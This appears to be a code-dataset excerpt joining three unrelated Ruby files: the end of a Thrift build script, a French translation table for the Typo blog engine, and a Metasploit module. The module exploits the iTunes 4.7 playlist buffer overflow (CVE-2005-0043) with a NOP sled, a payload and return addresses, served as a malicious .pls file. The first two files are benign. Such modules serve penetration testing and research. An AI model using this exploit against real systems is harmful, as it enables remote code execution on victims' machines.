$ARCH_FLAGS = Config::CONFIG['CFLAGS'].scan( /(-arch )(\S+)/ ).map{|x,y| x + y + ' ' }.join('')
$CFLAGS = "-g -O2 -Wall -Werror " + $ARCH_FLAGS
have_func("strlcpy", "string.h")
create_makefile 'thrift_native'
end
| 34.878788 | 97 | 0.716768 |
1d312d8d217324d5d9453ad719a0bca138741b59 | 33,558 | Localization.define('fr_FR') do |l|
# General
l.store "your blog", "votre blog"
l.store "Typo admin", "administration typo"
l.store "Publish", "Écrire"
l.store "Manage", "Gérer"
l.store "Feedback", "Commentaires"
l.store "Themes", "Thèmes"
l.store "Plugins", "Greffons"
l.store "Users", "Utilisateurs"
l.store "Settings", "Configuration"
l.store "Things you can do", "Vous pouvez"
l.store "with %s AER OS XK iconset iconset %s", "avec %s les icônes AER OS XK iconset %s"
#accounts/login.rhtml
l.store "Administration", "Administration"
l.store "Username", "Identifiant"
l.store "Password", "Mot de passe"
l.store "Login", "Connexion"
l.store "Back to ", "Revenir à "
l.store "Login unsuccessful", "Échec de la connexion"
l.store "Login successful", "Connexion réussie"
# admin/logout.rhtml
l.store "Successfully logged out", "Vous êtes maintenant déconnecté"
# admin/signup.rhtml
l.store "Signup", "S'inscrire"
l.store "Desired login", "Identifiant souhaité"
l.store "Display name", "Nom affiché sur le site"
l.store "Email", "Courriel"
l.store "Choose password", "Mot de passe"
l.store "Confirm password", "Confirmez le mot de passe"
l.store "Signup successful", "Inscription réussie"
# admin/dashboard/index.rhtml
l.store "What can you do ?", "Vous pouvez"
l.store "Write a post", "Écrire un billet"
l.store "Write a page", "Écrire une page"
l.store "Update your profile or change your password", "Mettre votre profil à jour ou changer votre mot de passe"
l.store "Change your blog presentation", "Changer l'apparence de votre blog"
l.store "Enable plugins", "Ajouter des greffons"
l.store "Last Comments", "Derniers commentaires"
l.store "Last posts", "Derniers billets"
l.store "Most popular", "Billets les plus populaires"
l.store "Typo documentation", "Accéder à la documentation officielle de Typo"
l.store "No comments yet", "Aucun commentaire"
l.store "Nothing to show yet", "Rien à déclarer"
l.store "No posts yet, why don't you start and write one", "Vous n'avez encore écrit aucun billet, pourquoi ne pas commencer par là"
l.store "You have no internet connection", "Vous n'avez pas de connection à internet"
#admin/base/recent_comments.rhtml
l.store "Recent comments", "Derniers commentaires"
#admin/base/recent_trackbacks.rhtml
l.store "Recent trackbacks", "Derniers rétroliens"
#admin/blacklist/_blacklis_patterns.rhtml
l.store "Pattern", "Motif"
l.store "Type", "Type"
l.store "Edit", "Éditer"
l.store "Delete", "Supprimer"
#admin/blacklist/_form.rhtml
l.store "String", "Chaîne de caractères"
l.store "Regex", "Expression rationnelle"
#admin/blacklist/_quick_post.rhtml
l.store "Add pattern", "Ajouter le motif"
l.store "Cancel", "Annuler"
l.store "or", "ou"
#admin/blacklist/destroy.rhtml
l.store "Blacklist Patterns", "Liste noire"
l.store "Show this pattern", "Voir ce motif"
l.store "Are you sure you want to delete this item?", "Êtes vous certain de vouloir supprimer cette entrée ?"
#admin/blacklist/edit.rhtml
l.store "Editing pattern", "Éditer un motif"
#admin/blacklist/list.rhtml
l.store "Create new Blacklist", "Ajouter une liste noire"
#admin/cache/list.rhtml
l.store "Cache", "Cache"
#admin/categories/_categories.rhtml
l.store "Category title", "Nom de la catégorie"
l.store "%d Articles", ["Un Billet", "%d Billets"]
#admin/categories/_form.rhtml
l.store "Name", "Titre"
#admin/categories/_quick_post.rhtml
l.store "Title", "Titre"
l.store "Add category", "Ajouter la catégorie"
#admin/categorie/destroy.rhtml
l.store "%d categories", ["Une catégorie", "%d Catégories"]
l.store "Show this category", "Voir cette catégorie"
l.store "Delete this category", "Supprimer cette catégorie"
l.store "Are you sure you want to delete the category ", "Êtes vous certain de vouloir supprimer la catégorie "
#admin/category/list.html.erb
l.store "add new", "ajouter nouveau"
#admin/category/edit.rhtml
l.store "Editing category", "Modifier une catégorie"
#admin/category/list.rhtml
l.store "Manage Categories", "Gérer les catégories"
l.store "Create new category", "Ajouter une catégorie"
l.store "Reorder", "Trier"
l.store "Sort alphabetically", "Trier par ordre alphabétique"
l.store "Manage Articles", "Gérer les billets"
l.store "Manage Pages", "Gérer les pages"
l.store "Manage Resources", "Gérer les ressources"
#admin/category/reorder.rhtml
l.store "(Done)", "(Terminé)"
#admin/category/show
l.store "Edit this category", "Modifier cette catégorie"
l.store "Articles in", "Billets contenus dans"
#admin/comments/_form.rhtml
l.store "Author", "Auteur"
l.store "Url", "Site"
l.store "Body", "Contenu du message"
#admin/comments/comments.rhtml
l.store "on", "sur"
#admin/comments/destroy.rhtml
l.store "Comments for", "Commentaires pour"
#admin/comments/edit.rhtml
l.store "Show this comment", "Afficher ce commentaire"
l.store "View comment on your blog", "Voir ce commentaire sur votre blog"
l.store "Editing comment", "Modifier un commentaire"
#admin/comments/list.rhtml
l.store "IP", "Adresse IP"
l.store "Posted date", "Envoyé le"
#admin/comments/new.rhtml
l.store "Creating comment", "Ajouter un commentaire"
#admin/content/list.rhtml
l.store "Manage posts", "Administrer les billets"
l.store "Manage uploads", "Administrer les pièces jointes"
l.store "Manage categories", "Administrer les catégories"
l.store "Manage pages", "Administrer les pages"
l.store "Post title", "Titre du billet"
l.store "Posted at", "Date de publication"
l.store "Posted on", "Publié le"
l.store "%d Comments", ["Un commentaire", "%d Commentaires"]
l.store "%d Trackbacks", ["Un rétrolien", "%d Rétroliens"]
l.store "View", "Voir"
l.store "Status", "État"
l.store "Offline", "Hors ligne"
l.store "Online", "En ligne"
l.store "no trackbacks", "aucun rétrolien"
l.store "no comments", "aucun commentaire"
l.store "Posts", "Billets"
l.store "Comments", "Commentaires"
l.store "Categories", "Catégories"
#admin/content/_attachment.rhtml
l.store "Remove", "Supprimer"
l.store "Really delete attachment", "Voulez-vous vraiment supprimer la pièce jointe"
l.store "Add Another Attachment", "Ajouter une autre pièce jointe"
#admin/content/_form.rhtml
l.store "Article Body", "Corps du billet"
l.store "Post", "Contenu"
l.store "Optional extended content", "Contenu étendu (optionnel)"
l.store "Article Content", "Contenu du billet"
l.store "Extended Content", "Contenu étendu"
l.store "Tags", "Mots clés"
l.store "Save", "Sauver"
l.store "Article Attachments", "Pièces Jointes"
l.store "Article Options", "Options du billet"
l.store "Permalink", "Lien permanent"
l.store "Allow comments", "Autoriser les commentaires"
l.store "Allow trackbacks", "Autoriser les rétroliens"
l.store "Online", "En ligne"
l.store "Publish at", "Publié le"
l.store "Textfilter", "Formatage du texte"
l.store "Toggle Extended Content", "Afficher le contenu étendu"
l.store "These are advanced options. Only experimented users should use them", "Options avancées. À ne modifier que par des utilisateurs expérimentés"
#admin/content/_pages.rhtml
l.store "Previous page", "Page précédente"
l.store "Next page", "Page suivante"
#admin/content/_show_categories.rhtml
l.store "Currently this article is listed in following categories", "Cet article est actuellement lié aux catégories suivantes"
l.store "You can add it to the following categories", "Vous pouvez le lier aux catégories suivantes"
#admin/content/_show_ressources.rhtml
l.store "Currently this article has the following resources", "Les fichiers suivants sont actuellement liés à ce billet"
l.store "You can associate the following resources", "Vous pouvez y lier les fichiers suivants"
#admin/content/destroy.rhtml
l.store "Show this article", "Voir ce billet"
l.store "Are you sure you want to delete this article", "Êtes-vous certain de vouloir supprimer ce billet"
l.store "Delete this article", "Supprimer ce billet"
#admin/content/edit.rhtml
l.store "Edit Article", "Éditer un billet"
l.store "View article on your blog", "Voir ce billet sur votre blog"
#admin/content/preview.rhtml
l.store "Posted by", "Publié par"
#admin/content/show.rhtml
l.store "Preview Article", "Prévisualiser un billet"
l.store "Edit this article", "Modifier ce billet"
l.store "Last updated", "Dernière modification"
l.store "Attachments", "Pièces jointes"
#admin/feedback/list.rhtml
l.store "Limit to spam", "Afficher le spam"
l.store "Limit to unconfirmed", "Afficher les commentaires en attente"
l.store "Limit to unconfirmed spam", "Afficher les commentaires douteux"
l.store "Blacklist", "Liste noire"
l.store "Feedback Search", "Rechercher dans les discussions"
l.store "Comments and Trackbacks for", "Commentaires et rétroliens pour"
#admin/feedback/index.html.erb
l.store "Limit to ham", "Uniquement les commentaires valides"
#admin/feedback/article.html.erb
l.store "All comments", "Tous les commentaires"
#admin/feedback/create
l.store "Comment was successfully created.", "Commentaire crée avec succès."
l.store "Comment was successfully updated.", "Commentaire mis à jour avec succès."
#admin/general/task
l.store "Basic settings", "Configuration de base"
l.store "Advanced settings", "Configuration avancée"
l.store "Blog advanced settings", "Configuration avancée du blog"
#admin/general/index.rhtml
l.store "Blog settings", "Configuration du blog"
l.store "Which settings group would you like to edit", "Quel groupe d'options souhaitez-vous modifier "
l.store "General settings", "Options générales"
l.store "General Settings", "Options générales"
l.store "Read", "Lire"
l.store "Write", "Écrire"
l.store "Discuss", "Discuter"
l.store "Notification", "Notifications"
l.store "Spam Protection", "Protection contre le spam"
l.store "Resource Settings", "Options des pièces jointes"
l.store "Cache", "Cache"
l.store "Blog name", "Titre du blog"
l.store "Blog subtitle", "Sous-titre du blog"
l.store "Language", "Langue"
l.store "Blog URL", "Adresse du blog"
l.store "Latitude, Longitude", "Latitude, Longitude"
l.store "Display", "Afficher"
l.store "your lattitude and longitude", "votre lattitude et votre longitude"
l.store "exemple", "par exemple"
l.store "Search Engine Optimisation", "Optimisation pour les moteurs de recherche"
l.store "Show blog name", "Afficher le titre du blog"
l.store "At the beginning of page title", "Au début du titre de la page"
l.store "At the end of page title", "À la fin du titre de la page"
l.store "Don't show blog name in page title", "Ne pas afficher le nom du blog dans le titre de la page"
l.store "Save Settings", "Enregistrer les options"
l.store "articles on my homepage by default", "billet sur ma page d'accueil"
l.store "articles in my news feed by default", "billets dans mon flux RSS"
l.store "Show full article on feed", "Afficher la totalité du billet dans le flux RSS"
l.store "Article filter", "Mise en forme des billets"
l.store "Comments filter", "Mise en forme des commentaires"
l.store "When publishing articles, Typo can send trackbacks to websites that you link to. This should be disabled for private blogs as it will leak non-public information to sites that you're discussing. For public blogs, there's no real point in disabling this.", "Quand vous publiez un billet sur Typo, vous pouvez envoyer un rétrolien aux sites que vous liez. Cette fonctionnalité devrait être désactivée pour les blogs privée puisqu'elle permet de donner des informations à leur sujet à des tiers. Ceci ne s'impose cependant pas pour un blog public."
l.store "Send trackbacks", "Envoyer des rétroliens"
l.store "URLs to ping automatically", "Sites à alerter automatiquement"
l.store "This setting allows you to disable trackbacks for every article in your blog. It won't remove existing trackbacks, but it will prevent any further attempt to add a trackback anywhere on your blog.", "Cette option vous permet de désactiver totalement les rétroliens sur votre blog. Ceci ne supprimera pas les rétroliens existants, mais empêchera tout nouveau rétrolien d'être créé"
l.store "Disable trackbacks site-wide" ,"Désactiver globalement les rétroliens"
l.store "Enable Trackbacks by default", "Activer les rétroliens par défaut"
l.store "You can enable site wide feeback moderation. If you do so, no comment or trackback will appear on your blog unless you validate it", "Vous pouvez activez la modération des commentaires sur l'ensemble de votre site. Si vous le faites, aucun commentaire ou rétrolien ne sera publié sans une validation de votre part"
l.store "Enable feedback moderation", "Activer la modération des commentaires"
l.store "Enable comments by default", "Activer les commentaires par défaut"
l.store "Show your email address", "Afficher votre adresse courriel"
l.store "Enable gravatars", "Activer les gratavars"
l.store "You can optionally disable non-Ajax comments. Typo will always use Ajax for comment submission if Javascript is enabled, so non-Ajax comments are either from spammers or users without Javascript.", "Vous pouvez désactiver l'envoi des commentaires en AJAX. Typo utilisera toujours l'AJAX par défaut pour envoyer les commentaires si Javascript est activé. Désactiver l'AJAX sert donc aux gens ne disposant pas de Javascript et aux robots spammeurs"
l.store "Allow non-ajax comments", "Autoriser l'envoi de commentaires sans AJAX"
l.store "Disable comments after", "Désactiver les commentaires au bout de "
l.store "Set to 0 to never disable comments", "Mettez cette option à 0 pour ne jamais désactiver les commentaires dans le temps"
l.store "Typo will automatically reject comments and trackbacks which contain over a certain amount of links in them", "Typo rejettera automatiquement les commentaires et les rétroliens contenant un certain nombre de liens"
l.store "Max Links", "Nombre de liens maximum"
l.store "Set to 0 to never reject comments", "Mettez cette option à 0 pour ne jamais rejeter les commentaires"
l.store "Typo can notify you when new articles or comments are posted", "Typo peut vous alerter quand de nouveaux articles et commentaires sont publiés"
l.store "Source Email", "Adresse courriel source"
l.store "Email address used by Typo to send notifications", "Adresse courriel utilisée par Typo pour l'envoi d'alertes"
l.store "Jabber account", "Compte Jabber"
l.store "Spam protection", "Protection contre le spam"
l.store "Enabling spam protection will make typo compare the IP address of posters as well as the contents of their posts against local and remote blacklists. Good defense against spam bots", "La protection contre le spam permettra à typo de comparer l'adresse IP des commentateurs ainsi que le contenu de leurs commentaires avec une liste noire distante"
l.store "Enable spam protection", "Activer la protection contre le spam"
l.store "Typo can (optionally) use the %s spam-filtering service. You need to register with Akismet and receive an API key before you can use their service. If you have an Akismet key, enter it here", "Typo peut utiliser le service de lutte contre le spam %s. Vous devez vous enregistrer afin de pouvoir utiliser les services d'Akismet. Si vous possédez une clé Akismet, ajoutez là ici"
l.store "Akismet Key", "Clé Akismet"
l.store "The below settings act as defaults when you choose to publish an enclosure with iTunes metadata", "Les options suivantes seront ajoutées automatiquement quand vous publierez des enclosures contenant des métadonnées iTunes"
l.store "Subtitle", "Sous-titre"
l.store "Summary", "Résumé"
l.store "Setting for channel", "Options des canaux"
l.store "Optional Name", "Nom facultatif"
l.store "Not published by Apple", "Donnée non publiée par Apple"
l.store "Copyright Information", "Informations sur le copyright"
l.store "Explicit", "Contenu explicite"
l.store "Empty Fragment Cache", "Vider le cache"
l.store "Rebuild cached HTML", "Reconstruire le HTML en cache"
l.store "days", "jours"
l.store "General options", "Options générales"
l.store "By default, Typo generates static HTML pages for your posts. However, if you plan to publish posts in the futur, you may want to use semi dynamic caching", "Par défaut, Typo génère des pages HTML statiques. Cependant, si vous prévoyez d'utiliser les fonctionnalités de publication dans le futur, il vous faudra utiliser le cache dynamique"
l.store "Use static HTML page caching", "Utiliser le cache statique"
l.store "Use semi static caching (default)", "Utiliser le cache dynamique (option par défaut)"
l.store "Choose caching methode", "Sélectionnez la méthode de cache"
#admin/general/update_database
l.store "Database migration", "Mise à jour de la base de données"
l.store "Information", "Informations"
l.store "Current database version", "Version actuelle de la base"
l.store "New database version", "Nouvelle version de la base"
l.store "Your database supports migrations", "Votre base de données supporte la mise à jour"
l.store "yes", "oui"
l.store "no", "non"
l.store "Needed migrations", "Mise à jour nécessaire"
l.store "You are up to date!", "Vous êtes à jour !"
l.store "Update database now", "Mettez votre base à jour"
l.store "may take a moment", "cela peut prendre un moment"
l.store "config updated.", "Configuration mis à jour."
#admin/pages/_form.rhtml
l.store "Page Body", "Contenu de la page"
l.store "Page Content", "Contenu de la page"
l.store "Location", "Lien permanent"
l.store "Page Options", "Options de la page"
#admin/pages/_pages.rhtml
l.store "Action", "Actions"
l.store "Pages","Gérer les pages"
l.store "Show this page", "Afficher cette page"
l.store "Are you sure you want to delete the page", "Voulez-vous vraiment effacer cette page"
l.store "Delete this page", "Supprimer cette page"
#admin/pages/edit.rhtml
l.store "Create new page", "Ajouter une page"
l.store "View page on your blog", "Afficher cette page sur votre blog"
l.store "Editing page", "Modifier une page"
l.store "Manage Text Filters", "Gérer l'affichage des billets"
#admin/pages/show.rhtml
l.store "Edit this page", "Modifier cette page"
l.store "by", "par"
#admin/ressources/_metadata_add.rhtml
l.store "Resource MetaData", "Méta données des pièces jointes"
l.store "Set iTunes metadata for this enclosure", "Ajouter des méta données iTunes pour cette pièce jointe"
l.store "Duration", "Durée"
l.store "Key Words", "Mots clé"
l.store "seperate with spaces", "séparez-les par des espaces"
l.store "Category", "Catégorie"
#admin/resources/_metadata_edit.rhtml
l.store "Remove iTunes Metadata", "Supprimer les méta données iTunes"
l.store "Content Type", "Type de contenu"
#admin/resources/_resources.rhtml
l.store "Filename", "Fichier"
l.store "right-click for link", "clic droit pour le lien"
l.store "MetaData", "Méta données"
l.store "File Size", "Taille du fichier"
l.store "Uploaded", "Ajouté le"
l.store "Edit MetaData", "Modifier les méta données"
l.store "Add MetaData", "Ajouter des méta données"
#admin/resources/destroy.rhtml
l.store "File Uploads", "Ajout de fichiers"
l.store "Upload a new File", "Ajouter un fichier"
l.store "Are you sure you want to delete this file", "Êtes-vous certain de vouloir supprimer ce fichier"
l.store "Delete this file from the webserver?", "Supprimer complètement ce fichier du site ?"
#admin/resources/new.rhtml
l.store "Upload a File to your Site", "Envoyer un fichier sur votre site"
l.store "Upload", "Ajouter un fichier joint"
l.store "Upload a new Resource", "Ajouter une pièce jointe"
l.store "File", "Fichier"
#admin/sidebar/_avaliables.rhtml
l.store "You have no plugins installed", "Aucun greffon n'est disponible"
#admin/sidebar/_publish.rhtml
l.store "Changes published", "Modifications effectuées"
#admin/sidebar/_target.rhtml
l.store "Drag some plugins here to fill your sidebar", "Déplacez des greffons dans cet espace afin de remplir votre sidebar"
#admin/sidebar/index.rhtml
l.store "Choose a theme", "Sélectionnez un thème"
l.store "Drag and drop to change the sidebar items displayed on this blog. To remove items from the sidebar just click remove Changes are saved immediately, but not activated until you click the 'Publish' button", "Glissez / déplacez des éléments pour changer la sidebar de votre blog. Pour supprimer un élément de votre sidebar, cliquez simplement sur 'supprimer'. Les changements sont effectués immédiatement, mais ne seront pas actifs tant que vous n'aurez pas cliqué sur le bouton 'Publier'."
l.store "Publish changes", "Publier les modifications"
l.store "Available Items", "Éléments disponibles"
l.store "Active Sidebar items", "Éléments utilisés"
#admin/textfilters/_form.rhtml
l.store "Description", "Déscription"
l.store "Markup type", "Type de balises"
l.store "Post-processing filters", "Filtres de post production"
l.store "Parameters", "Paramètres"
#admin/textfilters/_macros.rhtml
l.store "Show Help", "Afficher l'aide"
#admin/textfilters/_textfilters.rhtml
l.store "Markup", "Balisage"
l.store "Filters", "Filtres"
#admin/textfilters/destroy.rhtml
l.store "Text Filters", "Mise en forme du texte"
l.store "Are you sure you want to delete this filter", "Êtes-vous certain de vouloir supprimer ce filtre"
l.store "Delete this filter", "Supprimer ce filtre"
#admin/textfilters/edit.rhtml
l.store "Editing textfilter", "Modifier un filtre"
#admin/textfilters/list.rhtml
l.store "Create new text filter", "Ajouter une mise en forme de texte"
l.store "Customize Sidebar", "Personnaliser la sidebar"
l.store "Macros", "Macros"
#admin/textfilters/macro_help.rhtml
l.store "Macro Filter Help", "Aide des macros de filtrage"
l.store "Creating text filter", "Ajouter une nouvelle mise en forme de texte"
#admin/textfilters/show.rhtml
l.store "Text Filter Details", "Détails de la mise en forme"
l.store "Edit this filter", "Modifier cette mise en forme"
l.store "See help text for this filter", "Afficher l'aide de ce filtre"
#admin/themes/index.rhtml
l.store "Choose theme", "Choisissez un thème"
l.store "Theme editor", "Éditeur de thèmes"
l.store "Activate", "Activer"
l.store "Active theme", "Thème actif"
l.store "You can download third party themes from officially supported %s ", "Vous pouvez télécharger des thèmes officiellement supportés sur %s "
l.store "dev 411 Typo themes viewer", "le visualisateur de thèmes de dev411"
#admin/themes/catalogue.html.erb
l.store "Theme catalogue", "Catalogue de thème"
l.store "Sorry the theme catalogue is not available", "Désolé le catalogue de thème n'est pas disponible"
#admin/trackbacks/edit.rhtml
l.store "Trackbacks for", "Rétroliens pour"
l.store "Editing trackback", "Modifier un rétrolien"
#admin/trackbacks/new.rhtml
l.store "Creating trackback", "Ajouter un rétrolien"
l.store "Edit this trackback", "Modifier ce rétrolien"
#admin/users/_form.rhtml
l.store "Jabber", "Jabber"
l.store "Password Confirmation", "Confirmer le mot de passe"
l.store "Send notification messages via email", "Envoyer des alertes par courriel"
l.store "Send notification messages when new articles are posted", "Envoyer des alertes à la publication de nouveaux billets"
l.store "Send notification messages when comments are posted", "Envoyer des alertes à la publication de nouveaux commentaires"
l.store "Login", "Login"
l.store "Profile", "Profil"
l.store "Display Name", "Nom affiché"
l.store "Email", "Email"
l.store "Password", "Mot de passe"
l.store "Password confirmation", "Confirmation du mot de passe"
l.store "Send notification messages via email", "Envoi de notification des messages par email"
l.store "Send notification messages when new articles are posted", "Envoi de notification de messages quand de nouveaux articles sont postés"
l.store "Send notification messages when comments are posted", "Envoi de notification de messages quand des commentaires sont postés"
#admin/user/new.html.erb
l.store "Add User", "Ajout d'utilisateur"
l.store "Users", "Utilisateurs"
#admin/user/_user.rhtml
l.store "Number of Articles", "Nombre de billets"
l.store "Number of Comments", "Nombre de commentaires"
l.store "Notified", "Alerté"
l.store "via email", "par email"
#admin/user/destroy.rhtml
l.store "Show this user", "Voir cet utilisateur"
l.store "Really delete user", "Vraiment supprimer cet utilisateur"
#admin/user/edit.rhtml
l.store "Edit User", "Modifier un utilisateur"
l.store "Editing User", "Modification d'un utilisateur"
l.store "New User", "Ajouter un utilisateur"
l.store "Add new user", "Ajouter un utilisateur"
#admin/user/new.rhtml
l.store "Creating user", "Ajouter un nouvel utilisateur"
#admin/user/show.rhtml
l.store "User's articles", "Articles publiés par cet utilisateur"
l.store "Notify via email", "Cet utilisateur reçoit des alertes par courriel"
l.store "Notify on new articles", "Cet utilisateur est alerté à la publication d'un nouveau billet"
l.store "Notify on new comments", "Cet utilisateur est alerté à la publication d'un nouveau commentaire"
#articles/_comment.rhtml
l.store "said", "a dit"
l.store "This comment has been flagged for moderator approval. It won't appear on this blog until the author approves it", "Ce commentaire a été envoyé à la modération. Il ne sera affiché qu'une fois approuvé par un modérateur"
#articles/_comment_box.rhtml
l.store "Your name", "Votre nom "
l.store "Your blog", "Votre blog "
l.store "Your email", "Votre courriel"
l.store "Your message", "Votre commentaire"
l.store "Comment Markup Help", "Aide sur le balisage des commentaires"
l.store "Preview comment", "Prévisualiser le commentaire"
#articles/_trackback.rhtml
l.store "From", "De"
#articles/archives.rhtml
l.store "No articles found", "Aucun article ne correspond à la recherche"
#articles/comment_preview.rhtml
l.store "is about to say", "va dire"
#articles/groupings.rhtml
l.store "There are", "Il y a"
#articles/index.rhtml
l.store "Read more", "Lire la suite"
l.store "Older posts", "Articles précédents"
#articles/read.rhtml
l.store "Leave a response", "Commenter"
l.store "Use the following link to trackback from your own site", "Utilisez le lien suivant afin d'envoyer un rétrolien depuis votre site"
l.store "RSS feed for this post", "Flux RSS de ce billet"
l.store "trackback uri", "URL de rétrolien"
l.store "Comments are disabled", "Les commentaires sont désactivés"
l.store "Pictures from", "Images de"
#vendor/plugins/aimpresence_sidebar/aimpresence_sidebar.rb
l.store "AIM Presence", "Statut AIM"
#vendor/plugins/aimpresence_sidebar/views/content.rb
l.store "AIM Status", "Statut AIM"
#vendor/plugins/xml_sidebar/xml_sidebar.rb
l.store "XML Syndication", "Syndication XML"
#vendor/plugins/xml_sidebar/xml_sidebar.rb
l.store "Syndicate", "Suivre ce blog"
#vendor/plugins/archives_sidebar/views/content.rb
l.store "Archives", "Archives"
#app/helpers/admin/base_helper.rb
l.store "Back to overview", "Revenir à la liste"
l.store "log out", "déconnexion"
#app/controller/admin/cache_controller.rb
l.store "Cache was cleared", "Le cache est vidé"
l.store "HTML was cleared", "l'HTML est vidé"
#app/controller/admin/categories_controller.rb
l.store "Category was successfully created.", "Catégorie ajoutée avec succès"
l.store "Category could not be created.", "La catégorie n'a pu être créée"
l.store "Category was successfully updated.", "Catégorie mis à jour avec succès"
#app/models/article.rb
l.store "New post", "Nouveau billet"
l.store "A new message was posted to ", "Une nouveau message a été posté sur "
#app/helper/application_helper.rb
l.store "no ", "aucun "
#app/controller/admin/resource_controller.rb
l.store "File uploaded: ", "Fichier uploader: "
l.store "Unable to upload", "impossible d'uploader"
l.store "Metadata was successfully removed.", "Les Metadata ont été supprimé avec succès."
l.store "Metadata was successfully updated.", "Les Metadata ont été mis à jour avec succès."
l.store "Not all metadata was defined correctly.", "Aucun metada n'a été défini correctement."
l.store "Content Type was successfully updated.", "Le type du contenu a été mis à jour avec succès."
l.store "Error occurred while updating Content Type.", "Une erreur est survenue lors de la mise à jour du type du contenu."
l.store "complete", "complet"
#app/controller/admin/user_controller.rb
l.store "User was successfully updated.", "L'utilisateur a été mis à jour avec succès."
l.store "User was successfully created.", "L'utilisateur a été créé avec succès."
# Themes
l.store "Home", "Accueil"
l.store "About", "À propos"
l.store "Designed by %s ported to typo by %s ", "Design par %s porté sous Typo par %s"
l.store "Powered by %s", "Propulsé par %s"
l.store "Read full article", "Lien permanent"
l.store "Search", "Chercher"
l.store "Continue reading...", "Lire la suite..."
l.store "Posted by", "Publié par"
l.store "January", "Janvier"
l.store "February", "Février"
l.store "March", "Mars"
l.store "April", "Avril"
l.store "May", "Mai"
l.store "June", "Juin"
l.store "July", "Juillet"
l.store "August", "Août"
l.store "September", "Septembre"
l.store "October", "Octobre"
l.store "November", "Novembre"
l.store "December", "Décembre"
l.store "This entry was posted on %s", "Ce billet a été posté le %s"
l.store "Posted in", "Publié sous"
l.store "and %s", "et %s"
l.store "Atom feed", "flux Atom"
l.store "You can follow any any response to this entry through the %s", "Vous pouvez suivre la discussion autour de cet article via le %s"
l.store "You can leave a %s", "Vous pouvez déposer un %s"
l.store "or a %s from your own site", "ou un %s depuis votre site"
l.store "later", "plus tard"
l.store "Leave a comment", "laisser un commentaire"
l.store "Name %s", "Votre nom %s"
l.store "required", "obligatoire"
l.store "Preview", "Prévisualiser "
l.store "enabled", "activés"
l.store "never displayed", "jamais affiché"
l.store "Comments", "Commentaires"
l.store "Website", "Votre site"
l.store "Textile enabled", "Textile activé"
l.store "Markdown enabled", "Markdown activé"
l.store "Submit", "Envoyer"
l.store "is about to say", "va dire"
l.store "Older posts", "Billets précédents"
l.store "Use the following link to trackback from your own site", "Utilisez le lien ci-dessous pour envoyer un trackback depuis votre site"
l.store "Leave a response", "Réagir à ce billet"
l.store "styled width %s", "design %s"
l.store "Searching", "Recherche en cours"
l.store "permalink", "lien permanent"
l.store "Name", "Nom"
l.store "leave url/email", "laissez votre url/courriel"
l.store "No comments", "Pas de commentaires"
l.store "From", "De"
l.store "Meta", "Méta"
l.store "comment", "commentaire"
l.store "comments", "commentaires"
l.store "posted in", "publié dans"
# Dates
l.store "Mon", "Lun"
l.store "Tue", "Mar"
l.store "Wed", "Mer"
l.store "Thu", "Jeu"
l.store "Fri", "Ven"
l.store "Sat", "Sam"
l.store "Sun", "Dim"
l.store "Monday", "Lundi"
l.store "Tuesday", "Mardi"
l.store "Wednesday", "Mercredi"
l.store "Thursday", "Jeudi"
l.store "Friday", "Vendredi"
l.store "Saturday", "Samedi"
l.store "Sunday", "Dimanche"
l.store "Jan", "Jan"
l.store "Feb", "Fév"
l.store "Mar", "Mars"
l.store "Apr", "Avr"
l.store "May", "Mai"
l.store "Jun", "Juin"
l.store "Jul", "Juil"
l.store "Aug", "Août"
l.store "Sep", "Sept"
l.store "Oct", "Oct"
l.store "Nov", "Nov"
l.store "Dec", "Déc"
l.store "January", "janvier"
l.store "February", "février"
l.store "March", "mars"
l.store "April", "avril"
l.store "May", "mai"
l.store "June", "juin"
l.store "July", "juillet"
l.store "August", "août"
l.store "September", "septembre"
l.store "October", "octobre"
l.store "November", "novembre"
l.store "December", "décembre"
l.store "%%a, %%d %%b %%Y %%H:%%M:%%S GMT", Proc.new {|date|
sprintf( date.strftime("%%s %d %%s %Y %H:%M:%S GMT"), _(date.strftime("%a")), _(date.strftime("%b")).downcase )
}
l.store "%%d. %%b", Proc.new {|date|
sprintf( date.strftime("%d. %%s"), _(date.strftime("%b")).downcase )
}
l.store "Original article writen by", "Article original écrit par"
l.store "and published on", "et publié sur"
l.store "direct link to this article", "lien direct vers cet article"
l.store "If you are reading this article elsewhere than", "Si vous lisez cet article ailleurs que sur"
l.store "it has been illegally reproduced and without proper authorization", "c'est qu'il a été reproduit illégalement et sans autorisation"
l.store "This will display", "Cela affichera"
l.store "at the bottom of each of your post in the RSS feed", "en bas de chacun de vos articles sur le flux RSS"
l.store "for", "pour"
l.store "everything about", "tout sur"
end
| 47.532578 | 556 | 0.721438 |
bb2093cd4bb54f9f780c70e267ed65b070078249 | 2,197 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple ITunes 4.7 Playlist Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Apple ITunes 4.7
build 4.7.0.42. By creating a URL link to a malicious PLS
file, a remote attacker could overflow a buffer and execute
arbitrary code. When using this module, be sure to set the
URIPATH with an extension of '.pls'.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-0043' ],
[ 'OSVDB', '12833' ],
[ 'BID', '12238' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English SP4', { 'Ret' => 0x75033083 } ],
[ 'Windows XP Pro English SP2', { 'Ret' => 0x77dc2063 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jan 11 2005',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
cruft = rand(9).to_s
sploit = make_nops(2545) + payload.encoded + [target.ret].pack('V')
# Build the HTML content
content = "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n"
content << "File#{cruft}=http://#{sploit}"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
| 26.46988 | 86 | 0.608102 |
